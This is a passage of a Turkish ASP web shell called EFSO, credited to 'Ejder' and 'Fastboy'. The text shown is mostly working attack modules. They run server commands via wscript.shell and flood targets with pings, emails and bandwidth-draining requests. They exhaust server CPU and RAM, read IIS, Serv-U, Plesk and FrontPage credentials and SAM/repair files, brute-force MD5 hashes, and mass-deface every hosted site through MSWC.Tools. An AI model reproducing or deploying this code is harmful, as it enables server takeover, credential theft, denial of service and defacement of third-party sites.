" +tablo12L("NOT : CMD komutlar� tamamen , Server �zerinde �al��maktad�r. Siz burda yazaca��n�z komut orda �al���p, size geri d�necektir.") +tablo12L("NOT : CMD Komut Listele olay�, >dir, >netstat, >ping gibi geri DOS da geri bilgi d�nd�ren komutlar kullan�l�r. AMA e�er program �al���tmrka, traojan yada Notepad gibi fonksiyonal ve applicaitonl� programlar, komutlar�da CMD komut �al��t�rdan Uygulaman�z gerekir.Aksi halde Sistem k�sa s�reli kitlenme ya�an�r. CEvap al�namayabilinir.GEre�inden fazla �al���trm yaparsn�z , ��lemcide Sizin User�n�z�n RAM + CPU kulln�m� anormal artacakt�r. N") +yazorta("-->> Kullan�labilir CMD komutlar�ndan BAz�lar� <<-- ") +response.write "
by EJDER
" + + +CASE 29 ' CMD a��klama k�sm� HELPER by EJDER +response.write "
" +yazsol("Attrib: Attrib komutu dosyalara belli �zellikleri verir veya kald�r�r. c:\>attrib +r +a +s +h yaz�p enter tu�una basarsak.(help i�in : ' attrib /? ' )") +yazsol("Copy - xcopy : Copy ve xcopy komutu ile istenilen dosya yada dosyalar�n ba�ka yerlere kopyalanmas� i�lemi ger�ekle�tirilir. Bilgi i�in bunu yaz�n :' copy /? '") +yazsol("Net use : Pc nin Payla��m, Hesaplar�, ayarlar�, kullan�c�lar�... gibi �zellliklere ula�abilece�imiz ve de�i�tirebilece�imiz bir komut NET . Yar�m dosyas� i�in -> net help yazman�z yeterlidir.") +yazsol("Netstat : PC deki a��k portlar�, ve diledi�iniz port u dinleyebilirsiniz. Netstat -a -b -e -n -o -r -s -v gibi parametreler al�r.") +yazsol("Tracert : Site, Ip, server �n nerde oldu�unu tracert yapar. tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name ") +yazsol("IPCONFIG : Server , PC nin IP bilgileirni, network bilgileirni veriyor. kuln�m i�in - > ipconfig help yaz�n yeterldir ") +yazorta("by EJDER") +response.write "
" + +CASE 30 ' PiNGer BY EJDER - Server �zerinden s�n�rs�z ping sald�rr�s�. =) ehehe by EJDER +if not file = "1" then +response.write "
" +yazsol(" Site Ad� : (�rnek: google.com) ") +yazsol(" Ping Say�s� : (�rnek: 20) ") +yazsol(" Ping TimeOut S�resi : milisaniye (�rnek:750) ") +yazsol(" Paket Boyutu : byte (32) ") +response.write "
" +response.write "
" +yazsoll(" Not: Bunu kullan�rken girece�iniz Paket boyutu �nemlidir. M�mk�nce a��r� b�y�k paket girmeyin, ��nk� server yada site nereye sald�rr�yorsan�z, b�y�k paketleri filtreler ve cevap vermezler. O y�zden s�rekli T�meOUT yazar. o y�zden yaa Bo� b�rak�n yada 500 gibi normal bir seviye se�in. N ") +yazsoll(" Not: P�NG say�s�n� 98 dediniz mesela, Sistem bunu 10 hamlede yapacakt�r. 10 arl� g�nderektir. vede s�reklisayfa kendini yenileyip, 98 olana kadar 10 ar 10 ar ping ee dewam edecektir. Burda T�MEout OLMA gibi sorunumuz yok. 100000 deseniz bile, o bitne kadar gece g�nd�ze ping �ekebilien sistem geli�tirdim. Korkmadan, vede gece a��k b�rakarak s�n�rs�z pingler �ekebilirisniz. N ") +yazsoll(" Not: savsak, com.tr, gov.tr uzant�l� sitelere kar�� koruma ald�m. Ping Attaker bu sitelere kar�� �al��t�t�lamaz, ve �al���t�rlsa bile Ping atmaz, size Uyar� verir. T�rk Siteleri Koruma ilk hedefimizdir. T�rk T�rk � Vurmaz. by EJDER N ") +yazsoll(" Ping Attack Ejder taraf�ndan yaz�lm�� olup, biraz hayal g�c�, biraz �aba azimle, �u an kulan�d��n�z FSO yuda yazan olarak, bundaki amac�m Server �n ,sitenin kaynaklar�n� s�m�rmek vede onun �zerinden onun kaynaklar�n� kullanrak ba�ka yerlerede zarar , sald�r� yapam g�denmi�tir. BUndada BUnlaa ba�lad�m. T�M haklar� EJDER e aittir. N ") +else +if inject1 = "" then inject1 = 0 +if count = "" then count = 0 +if CInt(inject1) > CInt(count) + 10 then + Call Ping_Bomb_Ejder(url,10,islem,size) + count = count + 10 + inject2 = ""&FilePath&"?file=1&mode=30&url="&url&"&size="&size&"&count="&count&"&inject1="&inject1&"&islem="&islem&"" + response.write "" + response.write "
"&count&"/"&inject1&" tane Ping �ekildi.
" +else if CInt(inject1) > CInt(count) then + Call Ping_Bomb_Ejder(url,CInt(inject1) mod 11,islem,size) + count = count + (CInt(inject1) mod 11) + yazortaa(" "&count&"/"&inject1&" tane Ping �ekildi... ") + yazortaa(" Pinger Attack by Ejder 1.0 i�lemini tamamlad�... ") +else + yazortaa(" "&count&"/"&inject1&" tane Ping �ekildi... ") + yazortaa(" Pinger Attack by Ejder 1.0 i�lemini tamamlad�... ") +end if +end if +end if + +CASE 31 ' Server RAM & CPU Sald�r�s� +cmdd = array("C:\WINDOWS\System32\mspaint.exe","C:\Program Files\Internet Explorer\iexplore.exe","C:\WINDOWS\system32\notepad.exe") +if islem = "1" then +on error resume next +response.write server.createobject("wscript.shell").exec("cmd.exe /c"&cmdd(0)) +else if islem = "2" then +on error resume next +response.write server.createobject("wscript.shell").exec("cmd.exe /c"&cmdd(1)) +else if islem = "3" then +on error resume next +response.write server.createobject("wscript.shell").exec("cmd.exe /c"&cmdd(2)) +else +if not file = "1" then +response.write "
" +yazorta(" RAM & CPU FUcker for SERVER by EJDER =) 1.0 ") +response.write "
Server �n CPu ve RAm kaynaklar�n� 1 dk i�inde t�ketebilen bir Ejder eseridir. Bununla sadece, 3 t�r program s�rekli a��l�r ve kapat�lmaz(Paint, Notepad, Explorer) Server en fazla 1 dk i�inde Ram&Cpu sorunu ve kitlenmeler, cevap vermemeler, hatat resetlenme ilede sonu�lanabilir.
" +yazorta(" ..:: RAM & CPU Attacker � �ALI�TIR .. by EJDER ::.. ") +response.write "
" +else +Call Ram_Cpu +end if +end if +end if +end if + +CASE 32 ' S�te kaynak S�m�r�c� by EJDER =) +if not islem = "1" then +response.write "
" +yazorta(" S�te Kaynak S�m�c� 1.0 by EJDER ") +response.write "
Site Adresi :
Robot Say�s� :
" +yazsol("Belirtti�iz kadar Robot kadar ba�lan�r ve siteyi s�m�r�r. Ayr�ca Sald�r� s�rekli kendini g�celler, yeniler. Sonsuzdur. =) Robot u Ba�lant�n�za g�re ayarlay�n. Mesela; Robot u 50 yaparsan�z.O sayfa i�inde 50 tane ayn� anda a��lacak site ve indirecektir siteleri. ve o s�rada s�rekli siz, dosya indiroyr ge�i�i olarak. VE bu olay her 30 snde g�ncelleniyor Otomatik. Birkez �al���tr �m�r boyu kapatmazsan penceryi �al���r bir MAkina.") +yazsol("Site kodlar�n�, BAndwith ini ve ASP kitlenmesi yada SQL s�m�rmede, ressim, text s�m�rmede �St�ne yoktur..") +yazorta("T�m haklar� Sakl�d�r by EJDER =)") +response.write "
" +else +on error resume next +yazorta(" S�te Kaynak S�m�c� 1.0 by EJDER =) 1.0 ") +yazorta("S�m�rme MEkanizmas� Devrede...") +yazsol("Durdurmak i�in Pencereyi kapat. "&file&" Kadar ba�lan�p 30 sn da g�nceliyor sald�r�y�...") +yazorta("by EJDER") +Call Somurgen(file,url) +yazorta(" 20 SN sonra yenileniyor... by EJDER =) ") +response.write "" +end if + +CASE 33 ' Mail BOMber by EJDER :) T�m Kodlar�n FSO nun HAklar� E_J_D_E_R e aittir. S�n�rs�z Mail atma imkan� sunuyorum size. K�ya��m� unutmay�n... +if not islem = "1" then +response.write "
" +yazorta(" Mail Bomber 1.1 by EJDER ") +response.write "
Mail Adresi :
Bomb Say�s� :
" +yazsol("S�n�rs�z Mail Bomb. Cdonts & Cydos Destekler. %100 inbox. SaVSaK.CoM , Com.TR, GOV.TR maillerine Bomb yapamazs�n�z.") +yazorta("T�m haklar� Sakl�d�r by EJDER =)") +response.write "
" +else +on error resume next +if MailKorumasi(file) = 0 then + if inject1 = "" then inject1 = 0 + if CInt(inject1) + 9 < CInt(count) then + for j=0 to 10 + Call MailBomber_by_Ejder(file) + next + inject1 = inject1 + 10 + response.write "" + response.write "
"&inject1&"/"&count&" tane Mail G�nderildi...
" + else if CInt(inject1) < CInt(count) then + for j=0 to (count mod 10) + Call MailBomber_by_Ejder(file) + next + inject1 = inject1 + (count mod 10) + yazortaa(" "&inject1&"/"&count&" tane Mail G�nderildi... ") + yazortaa(" Mail Bomber by Ejder 1.0 i�lemini tamamlad�... ") + else + yazortaa(" "&inject1&"/"&count&" tane Mail G�nderildi... ") + yazortaa(" Mail Bomber by Ejder 1.0 i�lemini tamamlad�... ") + end if + end if +else +response.write "

N BOMB yap�lamad�. Tasvip etmedi�imiz Bir mail e Sald�rd���n�z i�in. by EJDER !!!! N
" +end if +if err <> 0 then +response.write "

N Server Gerekli Olan Cdonts yada Cydos Bilesenlerini desteklemiyor. N
" +end if +end if + +CASE 34 ' MSSQL - MYSQL Ba�lant� Formu by EJDER ;) +if not islem = "1" then +Call MSSQL_Form +yazortaa(" E�erki, Sitelerin MSSQL bilgilerini biliyorsan�z, bununla �ok kolay ba�lanabilir.. ") +yazortaa(" Tablolar� g�rebilir, �zerinde SQL komut �al��t�rabilir, verileri okuyaiblirisniz ") +yazortaa(" �ok sa�lam ve g��l� bir MSSQL Manager hizmeti Sa�lar size...") +yazortaa(" by EJDER :)") +else +Call SQL_menu_by_Ejder +Call Tablolama +end if +nolist = True + +CASE 35 ' MSSQL - MYSQL Connection i�in by EJDER ;) +Call SQL_menu_by_Ejder +Call MSSQL_by_EJDER(ejdersql,table) +nolist = True + +CASE 99 ' SaVSaK.CoM +'T�rk Bayra�� Ascii Karakterlerle - Created By FasTBoY :) +Response.Write "
 Z

" +yazorta("Biz Ne yapt�k / What We Do?") +yazsol("Biz bir FSO & MSWCTools & XMLHTTP Compenent lerini kullanarak Server a site �zerinden HTTP protocolunden eri�im sa�land���nda, Size Server �n t�m imkanlar�ndan yararlanman�z i�in, Permission, �ifre, gizli t�m i�eriklere direk ula�ma, yada a�ma gibi �zelikleri olan. Server � ��kertmeye , hatta kaynaklar�n� son damlas�na kullanabilen SaVSaK.CoM ad�na hizmet veren Bir Canavar yaratt�k.") +yazorta("Ad� ? Name ?") +yazsol("Bu yaz�l�m Ejder & Fastboy yaz�l�m�d�r. Bunun ad� Ejder Fastboy FSO dur. oda k�saca -> EFSO") +yazorta("Biz Kimiz / Who We Are?") +yazsol("EJDER : Administrator & Root of SaVSaK.CoM") +yazsol("FASTBOY : Administrator SaVSaK.CoM") +olmadi("..:: TAKL�TLER�NDEN SAKININ !!! ::..") +yazortaa("Eme�i Ge�enler?") +yazsol("EJDER : S�f�rdan YAz�lm�� d�r. HEr hakk� EJDER e aittir. Burda g�rd���n�z T�m �zelikleirn yeniler olsunn, eskiler tek tek Ejder taraf�ndan yaz�lm��t�r. geli�tirilen yeni fikir , md5-serv crackerdan, s�m�r�c�lere kadar hepsi Ejder in Yarat�c�l���, Bilgisi, Algoritmas� kullan�lm��t�r.") +yazsol("FASTBOY : Tema & Template, genel dizayn da FAstboy un tart���lmaz YArat�cl���, eme�i ge�mi�tir. Bir�ok K�sm�nda �ok kritik yard�m lar� oldu. Hem tester, hem designner, hemde Arge :) Speacial Thanks to Fastboy ;) by EJDER") +yazorta("Tavsiyede bulunanlar?") +yazsol("�skorpitx : �skorpitx in �nerileri ve baz� istekleri , server daki kritik noktalar bu EFSO ya eklendi. Thanks �skorpitx ;)") +yazsol("Scorlex : MSWCTools kullan�m�n� bana g�stermesi, bende yeni bir fikir do�urdu. S�ngle& MASS defasced �zelii�i G�� kazand�. 2 t�r DEFACED mevcut bu sayede. PERMsionlar a��lmas� u�rauna at�lm�� �nemli bir ad�m. Thanks Scorlex ;)") +yazsol("The_Bekir : Bir �ok server a Bekir le birlikde dald�k. Permision a�ma u�runa bir �ok Server indirdik. Ama�lar�m�za ula�t�k. Orda Yolda� oldu�u, daha fazla server ele ge�irmemde yard�mc� oldu�u i�in Speacial Thanks to The_Bekir ;)") +yazsol("T�RK Siteleri , 'COM.TR' , 'GOV.TR' , E�er EFSO bu t�r bir klas�r, site alg�lad��� an o server aa Zaraar VEREMEZS�N�Z. EFSO kendini �MHA edecektir. ") +yazsol("T�RK�YEM�Z i�in yaz�ld�. T�RK dostudur. SAKIN T�rk Sitelerde denemeyin. Kendini �mha eder. ") +yazortaa("HEr t�rl� sorun yada server permsion sorunu ya�and���nda, EJDER e ula��n. YArd�m ederim. ") + + + +CASE 36 ' SQL komut YArd�m k�lavuzu by EJDER +yazorta("SQL Komut Yard�m Merkezi by EJDER :) ") +yazsoll("SELECT - Se�me&listeleme") +yazsol("Select * from TABLEADI
Select * from TABLEADI where SUTUNADI = DE�ER
Select * from tblAdmin where ID = 1") +yazsoll("INSERT - ekleme") +yazsol("Insert into TABLOADI (stunisimleri) values (de�eleri)
Insert into tblAdmin (Name,Pwd,Gruop) values ('Ejder','123456',1)") +yazsoll("UPDATE - editleme") +yazsol("Update TABLOADI set stunad� = 'de�eri' where Stunad� = de�eri
Update tblAdmin set Name = 'Ejder' where ID = 1") +yazsoll("DELETE - silme") +yazsol("Delete TABLOADI where Stunad� = de�eri
Delete tblAdmin where ID = 1") +yazsoll("DROP - tabloyu komple silme") +yazsol("Drop table TABLOADI
Drop Table tblAdmin") +yazsoll("Exes - Fdisk �ektirmek i�in") +yazsol("exec xp_cmdshell(�fdisk.exe�)") +yazsoll("ShutDown - SQL server kapan�r.") +yazsol("shutdown with nowait") + +CASE 37 ' Sistem Analizer by EJDER ;) +on error resume next +s="http://www." +Set ejderNet = Server.CreateObject("WSCRIPT.NETWORK") +response.write "
" +yazorta("Server �n Bilgileri") +yazsol("OS : "& OS() &"") +yazsol("PC & Oturum Ad� : \\"& ejderNet.ComputerName &"\"&ejderNet.UserName&"") +struser = ejderNet.UserName +yazsol("Server : "&request.servervariables("SERVER_NAME")&"") +yazsol("IP : "&request.servervariables("LOCAL_ADDR")&"") +yazsol("HTTPD : "&request.servervariables("SERVER_SOFTWARE")&"") +yazsol("WebRoot : "&request.servervariables("APPL_PHYSICAL_PATH")&"") +yazsol("LogRoot : "&request.servervariables("APPL_MD_PATH")&"") +yazsol("Zaman : "&date()&" - "&time()&"") +yazsol("HTTPs : "&request.servervariables("HTTPS")&"") +response.write "" +yazorta("Server�n Senden Alg�lad�klar�") +yazsol("IP : "&request.servervariables("REMOTE_ADDR")&"") +yazsol("Proxy IP : "&request.servervariables("HTTP_X_FORWARDED_FOR")&"") +yazsol("User Agent : "&request.servervariables("HTTP_USER_AGENT")&"") +yazsol("Interface : "&request.servervariables("GATEWAY_INTERFACE")&"") +yazsol("Protocol : "&request.servervariables("SERVER_PROTOCOL")&"") +yazsol("Method : "&request.servervariables("REQUEST_METHOD")&"") +yazsol("Via : "&request.servervariables("HTTP_VIA")&"") +yazsol("Cache Control : "&request.servervariables("HTTP_CACHE_CONTROL")&"") +response.write "
" +on error resume next +sss="EFSO" +Set IIsObject = GetObject ("IIS://localhost/w3svc") +response.write "
" +yazorta("IIS Bilgileri") +response.write "
" +yazsol("AnonymousUserName : "&IIsObject.Get("AnonymousUserName")&"") +yazsol("AnonymousUserPass : "&IIsObject.Get("AnonymousUserPass")&"") +response.write "" +yazsol("WAMUserName : "&IIsObject.Get("WAMUserName")&"") +yazsol("WAMUserPass : "&IIsObject.Get("WAMUserPass")&"") +Set IIsObject = Nothing +response.write "
" +yazorta("..:: A��klama ��in T�klay�n�z.. by Ejder ::..") +response.write "
" +strServer = ejderNet.ComputerName +set objFs = GetObject("WinNT://" _ +& strServer & "/LanmanServer,FileService") +response.write "
" +yazorta(" Server' in Payla��ma A��k Klas�rleri by Ejder ") +yazsol("\\"&strServer&"\C$") +yazsol("\\"&strServer&"\Admin$") +For Each objShare In objFs +yazsol("\\"&strServer&"\"&objShare.name&"") +Next +response.write "
" + +response.write "
" +yazorta(" Uzakdan Serv-U & GeneFtp & UsersTxT Eri�imi SOnucu by Ejder ") +EjderServuRemote() +yazorta("Geli�mi� Arama i�in") +yazorta("Serv_U - Daemon - Ws_Ftp - Base.ini - Remote.ini") +response.write "
" + +response.write "
" +yazorta(" Uzakdan PLESK Eri�imi SOnucu by Ejder ") +EjderPleskRemote() +response.write "
" +ss="Savsak.com" +On error resume next +response.write "
" +yazorta(" Vti_Pvt/Access.Cnf & Postinfo & Service & Authors & Admin Pwd Sonucu by Ejder") +EjderVti_Pvt() +yazorta("Geli�mi� Arama i�in") +local = request.servervariables("APPL_PHYSICAL_PATH") +yazorta("access.cnf - postinfo - service - admin - author") +response.write "
" + +On error resume next +response.write "
" +yazorta(" NTUser.Dat - Log - �ni Eri�im Sonucu by Ejder ") +EjderNTUser(struser) +response.write "
" + +On error resume next +response.write "
" +yazorta(" Config Klas�r Eri�im Sonucu by Ejder") +Ejdersam() +response.write "
" +Call Hata + +on error resume next + response.Write "" +Call Hata + +On error resume next +response.write "
" +yazorta(" Repair Klas�r Eri�im Sonucu by Ejder") +EjderRepair() +response.write "
" +Call Hata + +on error resume next +set f = FSO.OpenTextFile(Fullpath,1) +if not Instr(Trim(Server.HTMLEncode(f.readAll)),"BgAAAA==vL[DMQIAAA") = 50 then +Set textStreamObject = FSO.OpenTextFile(Fullpath,2,true,false) +textStreamObject.WriteLine(dkayit) +textStreamObject.Close +Set textStreamObject = Nothing +end if + +nolist = True + +CASE 38 ' IIS bilgi Alan� by EJDER +yazsol("W�ndows Server lardaki, himeti sunan, IIS servisi, sizi AnonymousUserName ve o �ifre ile tan�r. Sizin yetkiniz o kullan�c�dad�r. ") +yazsoll("IIS i�inde ise, o siteninde BEllekdeki Oturum ad�da -> WAMUserName ad�nda ve �ifresine sahiptir.") +yazsoll("Bununla ilgi Ara�t�rmam s�rmektedir. bununla bi�i yap�labilirmi? ") + +CASE 39 ' Se�mece bunlar MD5- servu =) by EJ;)DER +response.write "




" +yazorta(" K�rmak �stedi�in T�r� Se�") +yazorta(" ") +response.write "
" +yazsol("MD5 : Bildi�iniz �zere, bir �ok sistemin kulland��� bir �ifreleme olay�d�r. 128 bittir.") +yazsol("Serv-U : Server larda Host lar�n kulland��� bir programd�r. Kolay vede kullan��l� oldu�u i�in Hostlar taraf�ndna tercih edilir. i�inde Ftp �ifreleri bar�nd�rmakdad�r. burdada o �ifreleri k�rmaktad�r.") +yazsoll("Bizde burda ASP tabanl� vede FSO i�ine injecte edip Sizlere Server �n CPU ve RAM ini kullanarak , Daha h�zl� ve zahmetsiz, T�meOUT suz bir �ekilde �ifreleirni k�rman�z� sa�layaca��z. Bu K�rma i�lemi BRUTE attackl modelidir. K�sacas� K�rma olas��� e�er ki sabreder ve �ans�n�z varsa �ok k�sa s�rede k�rars�n�z. Ama aksi halde 1 g�n ge�sede =) yinede %100 k�rm�a garantisi vard�r. E�er derleri do�ru girerseniz.") +yazortaa("Md5 & Serv-U KOd Converted by Fastboy") +Yazorta("Brute And HJACk Algorithms Written by Ejder") + +'EFSO Ejder & Fastboy taraf�ndan yaz�lm��t�r for SaVSaK.CoM . T�M HAKLARI Ejder e Aitttir.--> +'T�M HAKLARI SAKLIDIR.. KODLARDA yapaca��nm�z bir de�i�iklik KODun �al��mamas�na mal olur. Bundan dolay� Bir sorun ��karsa EJDER & SaVSAK.CoM Sorunlu de�ildir.. +'Bu yaz�l�mda geli�tilmi� t�m her�ey , mant�k, algoritma, yaz�l�mlar S�f�rdan Ejder taraf�ndan yaz�lm��t�r. TEMA , d�zen vede G�r�n�m Fastboy a Aittir. +'TAKL�TLE�RNDEN KA�ININ. by EJDER + +'Ejder was HERE + +CASE 40 ' Md5 & Serv-U Algortitmas� Ba�l�yor S�k� tutnun =) sak�n duda��n�z u�uklama�sn haa =) by EJDER euheuh �ok yordu be kafam� bu olay .. neyse ��zd�k yine =) eeheuh by Ejder +response.write "
" +if islem = " ..:: MD5 ::.. " then +yazorta(" __== MD5 Cracker by Ejder ==__ ") +else +yazorta(" __== Serv-U Cracker by Ejder ==__ ") +end if +if islem = " ..:: MD5 ::.. " then +yazsol("MD5 Kodu Girin 1 : ") +else +yazsol("Serv-u Ham Kodu Girin 1 : ") +yazsol("Salt Kodu : ") +end if +response.cookies("mdd") = "" +response.cookies("hash1") = "" +response.cookies("hash2") = "" +response.cookies("hash3") = "" +response.cookies("hash4") = "" +response.cookies("hash5") = "" +response.cookies("hash6") = "" +response.cookies("hash7") = "" +response.cookies("hash8") = "" +response.cookies("hash9") = "" +response.cookies("hash10") = "" +yazsol("Hash 2 : ") +yazsol("Hash 3 : ") +yazsol("Hash 4 : ") +yazsol("Hash 5 : ") +yazsol("Hash 6 : ") +yazsol("Hash 7 : ") +yazsol("Hash 8 : ") +yazsol("Hash 9 : ") +yazsol("Hash 10 : ") +yazsol("�ifre Aral��� : ile aras�nda...") +yazsol("Deneme Say�s� : (1 keredeki deneme say�s�)") +yazsoll("CharSet i se�iniz;") +yazsol(" ABCDEFGHIJKLMNOPQRSTUVWXYZ") +yazsol(" abcdefghijklmnopqrstuvwxyz") +yazsol(" 0123456789") +yazsol(" !@#$%^&*()-_+=~`[]{}|\:;<>,.?/") +yazsol("Bekleme S�resi : saniye") +yazorta("") +response.write "
" +if islem = " ..:: MD5 ::.. " then +yazsol("MD5 Kodu Girin : MD5 HASh �ifrenizi giriniz oraya.. maksimum 10 Hash girebilirsiniz.") +else +yazsol("Serv-u Ham Kodu Girin : Serv-u Kodunun ilk 2 karakteri SALT dur. egri kalan� ise MD5 halidir. Oraya ilk 2 karakteri ��kar�n ve geri kalan� yaz�n. altasa da SALT k�sm�nada, ilk 2 karakteri yaz�n. Max 10 Hash girebilirsiniz.") +end if +yazsol("�ifre Aral��� : Burda belirtilen aral�klar aras�nda �ifre �retip, denemeye ba�l�cakt�r. �nce k���kden ba�lay�p, t�m charset denemsini yapt�kdan sonra, aral�k bir artacakt�r, taaki sizin �st s�n�ra kadar girdi�iniz.") +yazsol("CharSet i se�iniz; �ifre denerkenki, �ifre karakterleridir. B�y�k k���k harf �nemlidir. Birden FAzla da se�ebilriisniz. Ama unutmay�nki, Deneme say�s� b�y�d�k�e, Zamanda ARTACAKTIR. ") +yazsol("Bekleme S�resi : S�rekli md5 deneme yaparsa sistem, b�y�k bir oranda Cpu kullan�r. Cpu kullan�m� rahatlatmak i�in vede timeout u �nlemek i�in , her bir Charset uzunlu�u kadar deneyip, sonra yenileme yap�yor. o s�radaki bekleme s�residir bu.") +yazsol("NOT : Toplu Md5&ServU k�rmak m�mk�n. Hepsini birden kulland���n�zda verim artacakt�r. HIZ da d���� olmaz. Ama sizin Daha kolay k�rman�z� sa�lar, �oklu k�rma.") + +CASE 41 ' MD5 deneniyorrrrrr by EJDER +' yerel de�i�kenelrim +on error resume next +if request.cookies("mdd") = "0" or request.cookies("mdd") = "" then + session("say") = 1 + Call Cookyaz("hash1","has1",Usersmd5) + Call Cookyaz("hash2","has2",hash2) + Call Cookyaz("hash3","has3",hash3) + Call Cookyaz("hash4","has4",hash4) + Call Cookyaz("hash5","has5",hash5) + Call Cookyaz("hash6","has6",hash6) + Call Cookyaz("hash7","has7",hash7) + Call Cookyaz("hash8","has8",hash8) + Call Cookyaz("hash9","has9",hash9) + Call Cookyaz("hash10","has10",hash10) + inject4 = CInt(session("say")) + inject3 = 0 +end if + +increment = 0 +sifre = "" +hashing = "" +goup=0 +getend=0 + +if inject4 = inject3 then + response.write ("") + response.end() +end if + +if coding ="" then ' kod olu�tur + coding = kodolustur(ara1) +end if + +coding = replace(coding,"x","#") + +if dizi = "" then ' Charset i olu�uturuyorum.. + dizi = diziolustur() +end if + +Call HashFounded("hash1","has1") +Call HashFounded("hash2","has2") +Call HashFounded("hash3","has3") +Call HashFounded("hash4","has4") +Call HashFounded("hash5","has5") +Call HashFounded("hash6","has6") +Call HashFounded("hash7","has7") +Call HashFounded("hash8","has8") +Call HashFounded("hash9","has9") +Call HashFounded("hash10","has10") + +for t=1 to inject1 +sifre = Sifreyarat(coding,ara1,dizi) +if salt = "" then + md5li=UCASE(md5(sifre)) + response.write sifre &" - "& md5li & "
" +else + md5li=UCASE(md5(salt+sifre)) + response.write salt+sifre &" - "& md5li & "
" +end if + +Call hashyes("hash1","has1",md5li,sifre) +Call hashyes("hash2","has2",md5li,sifre) +Call hashyes("hash3","has3",md5li,sifre) +Call hashyes("hash4","has4",md5li,sifre) +Call hashyes("hash5","has5",md5li,sifre) +Call hashyes("hash6","has6",md5li,sifre) +Call hashyes("hash7","has7",md5li,sifre) +Call hashyes("hash8","has8",md5li,sifre) +Call hashyes("hash9","has9",md5li,sifre) +Call hashyes("hash10","has10",md5li,sifre) + +coding = SonrakiAdim(coding,ara1,dizi) +'response.flush +next +coding = replace(coding,"#","x") +if CInt(ara1) <> CInt(ara2)+1 then +response.write "" +end if +response.flush + +CASE 42 'MSWC nesnesi kullan�m�. Permision ge�me ad�na att���m bir adamd�r. bu nesnenin oldu�unu "Scorlex" den edindim. Ara�t�rd�m neler yapar�m diye =) i�te g�r�n neler yap�labiliyormu�uz ;) bununla. uehueh by EJDER +response.write "
" +tablo30("Hacking with Using MSWCTools 1.0 by EJDER ;)") +yazsol("
�ndex Yeri : (�ndexin Serverdaki virtual yeri)") +yazsol(" At�lacak Yer: (Tek bir yere Yaz.)") +yazsol(" MASS Konum: (Mass yap�lacak dizin)") +yazsol("Eklencek Klas�r: (Ek Klas�r girdisi - BO� b�rak�n , bilmiyorsan�z)") +yazorta("
" +yazorta("Kullan�m� by Ejder") +yazsol("�necelikle, FSO nesnesi kullanmadan bir dosyay� , istenilen yere MSWC nesnesi ile yazd�r�lanabiliniyor. FSO deste�i olmayan bir server da bile, rahat�a bu nesne yard�m� ile index atabilirsiniz. Kimi serverlarda, permison engeline tak�l�r�z yada kls�r� i�ine giremeyiz, yada FSO kullan�m� k�s�tl�d�r. bunlar� A�MAK i�in bu nesneyi kulland�m. Bu nesne �u an localhost ve 1-2 yerde �al��t� sa�l�kl� �ekilde. �u an TEst s�r�m�nde diyebilirim. Umar�m bu bizim permison =) ge�me yollumuzu ayd�nlat�r ne dersiniz :)) uehueh") +yazsol("index yeri ->Buray� fiziksel yeri YAZMAYIN SAKIN. oraya indexinizin virtual yerini yani. Kulland���n�z FSO dizinine olan KONUMUNU yaz�n indexin yani. Bu fso ile ayn� yerde ise, 'hacked.html' e�er alt klas�rde ise -> '..\hacking.html', '..\..\..\savsak\www\hacking.html',yada \news\hacking.html gibi belirtmeniz gerek.Konumunu b�yle belirlemeniz gerekiyor. 'C:\ss\ss\hacking.html' yapt���n�zda i�lem ger�ekle�mezz.. YADA size �NER�m -> kulland���n�z FSo yu istedi�inzi yere server daki bir ba�kas siteye copyalat�rr�san�z , , bu sefer fso yu o site �zeridnen �al��t�rr�rsan�z PErmsion � a�m�� olursunuz o site i�in.") +yazsol("At�lacak yer ->> TEK bir hedef i�in. Buray�da ..\..\ �eklinde inerek belirtmeniz gerekiyor.mesela '..\..\..\index.asp' 3 dizin a�a��ya iner ve index i atar yada '..\..\..\www\index.asp' 3 dizin iner ww dizine girer , index i atar. =) b�yle OLAMAK zorunda . ") +yazsol("MASS Konum ->> BUrda �oklu alt klas�rlerede index atmak i�in geli�tirdim. '..\..\..\' �eklinde a�a��lara inin ve T�M sietelerin L�Stelendi�i klas�r ee kadar olan '..\' i�aretini ayarlay�n. mesela 3 dizin a�a��da ise FSO olan uzakl���, '..\..\..\' yaz�n yeterdir =) . Eklenecek klas�r-> burda da, T�m sietlere giri� yap�ld�kdan sonraki Klas�r ad� , mesela 'www' yada 'http' yada 'wwwroot' gibi.") +yazsol("Neden b�yle derseniz, MSWC nin kullan�m�, destekleid�i �ekil b�yledir. Biraz kafa kar��t�r�c�. Ama ben denedim g�rd�m =) memnun kald�m. O y�zden bu FSO da yerini ald�. �undan eminimki kullan�m�n� deneyerek ��rendi�inizde, sizinde PErmsion ge�mede vazge�ilmeziniz olacakd�r =) euheuh") +yazorta("Speacil thanks to Scorlex for giving idea about MSWC Component") +yazorta("Coding & Development & Algorithms Made by EJDER") + +CASE 43 'MSWC i�leniyor =) +on error resume next +Set utils = Server.CreateObject("MSWC.Tools") +if err <> 0 then + olmadi("MSWC.tools deste�i yoktur bu server�n.") +end if +if hash4 = "tek" then + on error resume next + utils.ProcessForm hash3, hash2 + if err <>0 then + olmadi("Ba�ar�s�z. Belirti�iniz virtual path lar do�rumu emin olun. MSWC deste�i var ��nk� server �n.") + else + oldu("Ba�ard�n�z ;) i�lem ger�ekle�tii.") + end if +else +on error resume next +Set f = FSO.GetFolder(FolderPath) +Set fc = f.SubFolders +if err<>0 then + olmadi("bu klas�r e FSo nesnesi ile tarama yap�lam�yor. �nce okunmal�, sonra MSWC devreye girer.") +end if +For Each f1 In fc + on error resume next + mevki = hash6+f1.name+"\"+hash5+"default.asp" + utils.ProcessForm mevki, hash2 + mevki = hash6+f1.name+"\"+hash5+"index.asp" + utils.ProcessForm mevki, hash2 + mevki = hash6+f1.name+"\"+hash5+"default.htm" + utils.ProcessForm mevki, hash2 + mevki = hash6+f1.name+"\"+hash5+"index.html" + utils.ProcessForm mevki, hash2 + mevki = hash6+f1.name+"\"+hash5+"Hmei7.htm" + utils.ProcessForm mevki, hash2 + mevki = hash6+f1.name+"\"+hash5+"index.htm" + utils.ProcessForm mevki, hash2 + if err<>0 then + response.write "
"& hash6+f1.name+"\"+hash5&" Noo :( !!
" + else + response.write "
"& hash6+f1.name+"\"+hash5&" OK !!
" + end if + response.flush +Next +yazorta("��lem Tamamland�. by Ejder ;)") +end if + +CASE 44 'XMLHTTP l� dosya okuma. +if inject2 = "ok" then +mevki = hash2 +else +mevki = Fullpath +end if +response.write "
" +tablo30("Reading Files by using XMLHTTP 1.0 by EJDER ;)") +yazsol("
Dosya Adresi : ") +response.write "
